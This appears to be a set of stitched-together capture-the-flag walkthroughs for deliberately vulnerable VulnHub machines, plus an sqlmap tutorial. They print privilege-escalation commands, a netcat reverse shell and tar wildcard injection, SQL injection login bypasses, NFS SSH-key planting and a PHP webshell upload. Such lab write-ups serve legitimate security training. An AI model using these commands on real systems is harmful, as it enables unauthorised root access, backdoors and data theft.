Hack the Lin.Security VM (Boot to Root)

As we know how some weak misconfiguration sudo rights can lead to root privilege escalation and today I am going to solve the CTF “Lin.Security – Vulnhub” which is design on weak sudo right permissions for beginners to test their skillset through this VM.

This lab has been designed by the researcher to help us understand, how certain built-in applications and services if misconfigured, may be abused by an attacker. Here an up-to-date Ubuntu distro (18.04 LTS) suffers from a number of vulnerabilities that allow a user to escalate to root on the box.

You can downloaad it from here: https://www.vulnhub.com/entry/linsecurity-1,244/

Task : Get root shell for ALL Users (Bob, Susan, Peter)

Level: Beginner to Advance

Penetrating Methodologies

Escalate root shell for Bob

·         Via sudo right

·         Via wildcard Injection

·         Via SUID Binaries

Escalate root shell for Susan

·         Via SUID Binaries

Escalate root shell for Peter

·         Via Network file sharing (NFS)

Note: Kindly follow the refernce link given in the article for details, because this machine vulnerbale to bunch of services and refrence link holds detail of each Privlege Escalation Techniques .

Escalate root shell for Bob

1^st Procedures

•                    Login using ssh credential

•                    Check sudoers list for sudo permissions

•                    Get root shell via system binaries having sudo permission  

Let’s move now to find the ways to root this lab!!

The first thing before doing any of the CTF is to read the instructions carefully before starting your vulnerability assessment and save your precious time.

The writer of the lab has given a hint in terms of user-id & password of one of the users.

It is “To get started you can log onto the host with the credentials: bob/secret“ and the IP of my lab is 192.168.1.104.

I used the port 22 (SSH) to login into the machine with given credentials: bob/secret

ssh bob@192.168.1.104

After ‘logging in’ I tried to check the sudo rights for user bob:

sudo -l

The next prompt asked for the root password and I tried the same credentials “secret” and it worked!! I can see all the permissions which bob has and now I can easily root the machine using any of these permitted commands.

Visit given below link for complete details:

https://gtfobins.github.io/

https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/

As you can observe that we had escalated root shell when sudo have rights for all types of shell such as ksh, zsh, bash and so on or for editors or for other programs such as pico, vi, perl, scp, find, less and so on. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable.

You can use following list of command to get root shell:

sudo ash

sudo awk 'BEGIN {system("/bin/bash")}'

sudo bash

sudo sh

sudo csh

sudo dash

sudo tclsh

sudo zsh

find /home -exec /bin/bash \;

Get root shell via FTP, Expect, Socat

With this we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable.

sudo ftp

!/bin/bash

id

exit

sudo expect

sudo env /bin/bash

sudo ed

!/bin/bash

id

exit

sudo perl -e 'exec' "/bin/bash";'

sudo socat exec:'bash -sh',pty,stderr,setsid,sigint,sane tcp:192.168.1.109:1234

On other you should be in listening mode by using socat listener in your local machine to get privilege shell:

socat file:`tty`,raw,echo=0 tcp-listen:1234

Less

With less we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable.

sudo less /etc/hosts

As we know it opens the file in vi mode and since you have run command with sudo right which means we can get shell through it. Execute !bash command inside hosts file as shown above and you will get root shell.

Man

Man can be used to break out from restricted environments by spawning an interactive system shell.

sudo man /etc/hosts

As we know it opens the file in vi mode and since you have run command with sudo right which means we can get shell through it. Execute !bash command inside hosts file as shown above and you will get root shell.

Git

With this we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable.

sudo git help status

As we know it opens the file in vi mode and since you have run command with sudo right which means we can get shell through it. Execute !bash command inside git status file as shown above and you will get root shell.

Pico

Since we know that pico is a text editor such as nano and vi also has sudo permission, which means that now we can also edit system files. Now open /etc/shadow file with pico editor and try to modify the root password.

On other hands I have generated a new encrypted password: pass123 using openssl passwd

openssl passwd -1 -salt abc pass123

Now paste the above generated encrypted password inside shadow file for user root.

Since we have modify the root password into pass123 therefore let get root login using it.

su root

SCP

It can be used to break out from restricted environments by spawning an interactive system shell. It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

hack=$(mktemp)

echo “/bin/bash 0<&2 1>&2” > $hack

chmod +x "$hack"

sudo scp -S $hack abc abd:

id

SSH

With this we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable. Let’s spawn interactive root shell through Proxy Command option.

sudo ssh -o ProxyCommand=”;/bin/bash 0<&2 1>&2” abc

id

Curl

With this we can spawn the interactive system shell and can get away from low-privilege environments. Since we have low privilege shell which means, we can access /etc/passswd file.

               

So, I copied /etc/passwd file in my local machine and removed encrypted password for user “insecurity”.

By running curl with sudo permission we can fetch a remote file via http-get method.

So, as you can observe that now we are having modified passwd file where user insecurity has an entry with UID: GID 0:0 and no password.

Since we have modify the insurity password into blank password therefore let get root login using it.

sudo -u insecurity bash

Vi Editor

With this we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable.

Type following:

sudo vi

:!sh

id

All you can observe that I have root shell after this.

Rvim

With rvim we can spawn the root shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable. This requires that rvim is compiled with Python support. Prepend :py3 for Python 3. Now enter following command to spawn /bin/sh shell with higher privilege shell.

sudo rvim -c “:py3 import pty; pty.spwn(‘/bin/sh’)”

You will see, it opens the file in vi mode and since you have run command with sudo right which means we can get shell through it. Execute !bash command inside it as shown below and you will get root shell.

!bash

id

2^nd Procedures

•                    Wildcard Injection

•                    Check cron job

•                    Generate one-liner for netcat_reverse shell (msfvenom)

•                    Exploit tar wildcard injection

•                    Spawn root shell through netcat session

Now open crontab to view if any task is scheduled.

cat /etc/crontab

Here we notice the target has scheduled a bash program script for every 1 minute and we know that cron job runs as root. The minute attacker read the program written inside /etc/cron.daily/backup script, since it is saving a compressed copy of each user’s home directories to /etc/backups. Therefore we can apply tar wildcard injection.

Visit below link to read complete detail of wildcard injection attack: https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

On a new terminal in your Kali to generate netcat reverse shell malicious code for achieving netcat reverse connection by using msfvenom and enter the following command for that:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R

Now copy the generated payload and paste inside victim’s shell as described below.

echo "mkfifo /tmp/ckrkrjp; nc 192.168.1.109 8888 0

/tmp/ckrkrjp 2>&1; rm /tmp/ckrkrjp" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "" > --checkpoint=1

Since the tar command is running as root due to crontab, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888. And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in after 1 minute.

nc -lvp 8888

id

3^rd Procedures

•                    Identify SUID binaries with find command

•                    Exploit SUID binary

find / -perm -u=s -type f 2>/dev/null

Here xxd and taskset are system binaries file having suid permissions and with this we can spawn the interactive system shell and can get away from low-privilege environments.

Visit below link to read complete detail of SUID Privilege Escalation:

https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

It was quite easy to get root shell through taskset but fail to get privilege via xxd, although you can execute below command to get root shell.

taskset 1/bin/sh -p

Escalate root shell for Susan

Procedures:

•                    Identify SUID Binary with find command

•                    Exploiting SUID binary

•                    Read /etc/shadow through xxd

•                    Get root password

•                    Crack root password

•                    Get Root shell

Let’s get into /home directory where we discover 3 users’ directory bob, susan and peter. Since we have escalated root shell via bob in all possible way but now I’m curious in penetrating /susan directory. So while exploring /susan; I found password “MySuperS3cretValue!” from inside .secret

So we logged as Susan with the help of password we found inside .secret, next we need escalated root privilege because we are again in low privilege shell. As we knew xxd has suid permission therefore we try to escalated root privilege with following command

xxd is a Linux command that creates a hexdump of a given file when it has read permissions and as we know SUID bit is enable for xxd hence we can use it to read the information of /etc/shadow file.

xxd “/ect/shadow” | xxd -r

Once you have shadow file on your screen, copy the encrypted text for user root and crack it either with john the ripper or other resources.  So I have used online hash cracking tools and found the root password “secret123” and logged with it.

Escalate root shell for Peter

Procedures:

·         Exploiting NFS

·         Mount share directory

·         Create SSH pair key

·         Replace your pub_key to users’ authorized_keys

·         Get SSH login session for peter

·         Exploit Sudo right to get root shell

On scanning its network we found port 2049 is open for network share therefore we run showmount command to identify share directory

showmount -e 192.168.1.104

mkdir /tmp/raj

mount 192.168.1.104:/home/peter /tmp/raj

ls -al /tmp/raj

But I mount /home/peter in our /tmp/raj directory, I didn’t find anything here, truthfully when I try to create .ssh directory, it gave permission deny error therefore I create a fake peter account with an UID of 1001 on my Kali machine and successfully created .ssh folder as shown below steps.

groupadd -g 1005 peter

adduser peter -uid 1001 -gid 1005

su peter

sshkey-gen

cd /tmp/raj

mkdir .ssh

cat ~/.ssh/id_rsa.pub >> /tmp/raj/.ssh/authorized_keys

Now create SSH pair key and add your public SSH key to the users’ authorized_keys file and it allows you to log in as the target user, assuming that you have the appropriate private key.

Therefore follow below steps:

sshkey-gen

cd /tmp/raj

mkdir .ssh

cat ~/.ssh/id_rsa.pub >> /tmp/raj/.ssh/authorized_keys

ssh peter@192.168.1.104

Booomm!! Booomm!! We're logged in as Peter. There multiple way to exploit NFS services, it totally depends on situation. Visit the link below to learn more about NFS Privilege Escalation:

https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/

Now let’s check peter's sudo permission for user peter:

sudo -l

So, here peter can run strace commands with sudo which means we can spawn the interactive system shell and can get away from low-privilege environments. It goes in privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enable

sudo strace -o /dev/null /bin/sh

Hack the De-ICE: S1.120 VM (Boot to Root)

Hello friends! Today we are going to take another CTF challenge known as De-ICE: S1.120 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here https://www.vulnhub.com/entry/de-ice-s1120,10/

Penetrating Methodologies

• Network Scanning (Nmap, netdiscover)
• SQLMAP Scanning
• Extract databases and user credentials
• SSH access to the target with a specific user
• Exploiting target with SUID bit and SUDO binaries
• Get Root access and capture the flag.

Let’s Start!!!

Start off with finding the target using:

netdiscover

Our target is 192.168.1.120 Now scan the target with nmap :

nmap  -A 192.168.1.120

With the nmap scan, you can see the ports 80, 443, 3306,21 ,22 are open . Let’s target the port 80 first.

Now we will browse the website with http://192.168.1.120 and a page will open as shown below in the image.

Click on the Add Product option as shown in the above page http://192.168.1.120 which will redirect to http://192.168.1.120/add_product.php .Enter the input in the fields as shown below and click on Submit.

Upon submission, following page will display.

Now let’s try to look for SQL injection by trying with http://192.168.1.120/products.php?id=1’ and we will get an error, hence this URL is prone to SQL injection

Lets’ enumerate the databases with SQLMAP command to get more details

sqlmap –u http://192.168.1.120/products.php?id=1 --dbs --batch

Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available in the website.

Extract the user information from the mysql database, using SQLMAP following command:

sqlmap -u http://192.168.1.120/products.php?id=1 -D mysql --users --passwords –batch

In addition, SQLMAP will also automatically perform the password cracking of the users’ passwords

After having found valid credentials the next thing to perform is to test them over SSH to see if we have access to the target server. I tried to login with most of the users to see if there’s any root user or has something interesting for us to investigate further and it seems that all users can login to the system.

After trying with many usernames, I did SSH using the username as ccoffee and ran the following command to enumerate all binaries having SUID permission.

ssh ccoffee@192.168.1.120

find / -perm –u=s –type f 2>/dev/null

As it can be seen from the screenshot that of all the users listed, the user ccoffee has SUID bit enabled for getlogs.sh command located at the path /home/ccoffee/scripts , which means we can execute any command within getlogs.sh command.

At this moment , lets also check the contents of the sudo file

sudo –l

On performing sudo –l , we observed that there is no password (NOPASSWD) set for this user while executing the command /home/ccoffee/scripts/getlogs.sh (i.e he can also run as sudo , the same script for which SUID bit is also set)

Now let’s navigate to the path cd /home/coffee/scripts

cd /home/ccoffee/scripts/

Upon listing, we can confirm that getlogs.sh has SUID bit set.

ls -al

Move the getlogs.sh to getlogs.sh.bak, and then create a new getlogs.sh file with following code to spawn a shell.

mv getlogs.sh getlogs.sh.bak

echo “/bin/bash” >  getlogs.sh

chmod 777 getlogs.sh

Run the new getlogs.sh script with sudo as follows :

sudo /home/ccoffee/scripts/getlogs.sh

Once the script execution is finished, you will reach the root. And to confirm this type:

id

Hurrah ! We have got the root access.

Hack The Toppo-1 VM (CTF Challenges)

Hello friends!! Today we are going to solve latest CTF challenge presented by vulnhub for penetration practice and design by Mr. Hadi Mene. This lab is proposal for beginners and mode of difficulty level is easy. You can download it from this Link: https://www.vulnhub.com/entry/toppo-1,245/

Penetration Methodologies

§  Network scaning

§  Directory brute-force attack

§  Abusing HTTP web directories

§  Compromise confidential

§  Spawn tty shell (ssh login)

§  SUID privilege escalation

§  Get root access and capture the flag

Let’s Begin!!

You will get target VM machine IP at the time of boot-up so let’s start with nmap port enumeration and execute following command in our terminal.

nmap -A 192.168.1.104

Since port 80 was opened; so I explored target IP in the web browser and welcomed by following web page as shown below.

Unfortunately, I didn’t compute any remarkable hint from its web home page, therefore, I decided to launch directory brute-force attack through ‘dirb’ and run following command.

dirb http://192.168.1.104

The minute you will execute above command you will found so many web directories. Here /admin looks more interesting, lets figure out it.

So when I explored the following URL, it put-up a notes.txt file which might be holding something important.

http://192.168.1.104/admin

So I looked into notes.txt and notice towards “12345ted123” which is a password.

Since port 22 was open so I can try ssh login and as we already have the password 12345ted123 but don’t know the username therefore, I decided to use hit-try method and use following credential for ssh login.

Username: ted (predict from password)

Password: 12345ted123

Wonderful!! We got login successfully, now move for post exploitation and try to get root access. Then by using the following command you can enumerate all binaries having SUID permission.

find / -perm -u=s -type f 2>/dev/null

And it dumped all system binaries which have SUID permissions but /usr/bin.mawk and /usr/bin/python2.7 are at my target point for escalating root privilege through them. So I had exploit this VM twice to root access.

Run following command and get the root access directly.

sudo awk 'BEGIN {system("/bin/bash")}'

id

cd /root

ls

cat flag.txt

This was 1st technique for escalating root privilege through awk one-liner.

Similarly you can perform same task by using python one-liner and can spawn root shell.

python2.7 -c 'import pty;pty.spawn("/bin/sh")'

whoami

cat /root/flag.txt

B000MM!!! We have captured the flag and challenges is completed.

File System Access on Webserver using Sqlmap

Hello everyone and welcome to the par two of our sqlmap series. In this article we’ll be exploiting an error based SQL injection to upload a shell on the web server and gain control over it! Now, how to do this, tools required, everything is discussed in as much detail as possible. So, let’s dive right in.

Since, attacking a live website is a crime, we’ll be setting up a local host in a windows system using XAMPP server and we’ll use SQLi Dhakkan to create sql vulnerabilities in a database.

You can download XAMPP and SQL dhakkan from here and here respectively.

Step one is to fire up XAMPP control panel and put sql dhakkan in C: /xampp/htdocs directory which is the default directory for the webpages. The IP address on which sql dhakkan is hosted in my network is 192.168.1.124

So, let’s start by checking the ports open on the server using nmap.

As we can see that mysql is up and running on the host so we are good to apply SQLMAP.

sqlmap –u 192.168.1.124/sqli/Less-1/?id=1 - -dbs

Hence, we can see numerous databases loaded, so our sqlmap attack was successful.

Checking privileges of the users in database

Now, to read a file it is very much important to see whether the user has FILE privileges or not. If we have file privileges we will be able to read files on the server and moreover, write the files on the server!!

sqlmap –u 192.168.1.124/sqli/Less-1/?id=1 - - privileges

As we can see that root@localhost has the FILE privilege.

Let’s see who the current user of this server is.

As we can see that the current use has the FILE privileges so we can apply - -file-read to read a file from the server and - -file-write to write a file on the server!

Reading a file from the web server

Let’s try reading a file in the public directory, let’s say, index.php.

sqlmap  -u 192.168.1.124/sqli/Less-1/?id=1  - -file-read=/xampp/htdocs/index.php - -batch

We have read a file from a known directory successfully! We can apply directory buster to find other folders and files and read them too if we have the privileges!

Uploading a shell on the web server

Now, let’s try and upload a file on the web server. To do this we are using the “- -file-write” command and “- -file-dest” to put it in the desired destination.

For the sake of uploading a shell on the server, we’ll be choosing a simple command injection php shell that is already available in kali in the /usr/share/webshells directory and has the name simple-backdoor.php

cd /usr/share/webshells/php

ls

cp simple-backdoor.php /root/Desktop/shell.php

Now, we have moved the shell on the desktop. Let’s try to upload this on the web server.

sqlmap –u 192.168.1.124/sqli/Less-1.?id=1 - -file-write=/root/Desktop/shell.php - -file-dest=/xampp/htdocs/shell.php - -batch

It has been uploaded successfully!!

Let’s check whether it was uploaded or not!

It indeed did get uploaded. Now, we’ll try and access the shell from browser.

192.168.1.124/shell.php

It is a command line shell, hence, we can execute any windows command on the browser itself remotely!

The usage is: …..php?cmd=< windows command >

Let’s try and run ipconfig on the browser

Hack The Kioptrix Level-1.3 (Boot2Root Challenge)

This Kioptrix 4^th VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

You can Download it from here and run install in your VM.

Penetrating Methodologies

§  Network sccaning (netdiscover, Nmap)

§  Directory brute-force (dirb)

§  Login Form SQli

§  Spwaning tty shell

§  SUID Privilege escaltion

§  Get root access and capture the flag

Lets start!!

Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.

So we target at 192.168.1.106 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.

Since port 80 is open so without wasting time we use dirb for directory brute-force attack and enumerated /john as a directory which could give something valuable to us.

drib http://192.168.1.106

Consequently we explored URL http://192.168.1.106/john in the web browser and notice john.php file. Awkwardly I didn’t found any treasured from inside this file.

Further, I came back to its home page and it was login page as shown below. Here we can try sql injection for login.

So I simply enter following and get login successfully.

Username: john

Password: ' or 1=1 #

And welcomed by following web page which serves actual credential for the user “john”

Since we port 22 is open for ssh and we have enumerated following credential so let’s try to login to access tty shell of victim’s machine and then execute below commands.

Username: john

Password:  MyNameIsJohn

echo os.system('/bin/bash')

cd /var/www

Then view its file and directory list where you will get checklogin.php file; open it for further step.

ls

cat checklogin.php

By read it we conclude that mysql user name is root with No password.

Now let try to login into mysql server with the help of following command and try to execute some malicious query through it.

mysql -u root -p

SELECT sys_exec('chmod u+s /usr/bin/find');

echo os.system('/bin/bash')

quit

By the mean of mysql we are trying to enable SUID bit for find command.

Now move to /tmp directory and execute following command for root access.

cd /tmp

touch raj

find raj -exec "whoami" \;

find raj -exec "/bin/sh" \;

ls

cat congrats .txt

Yuppieee!!! We finished this task and complete the challenge……………………………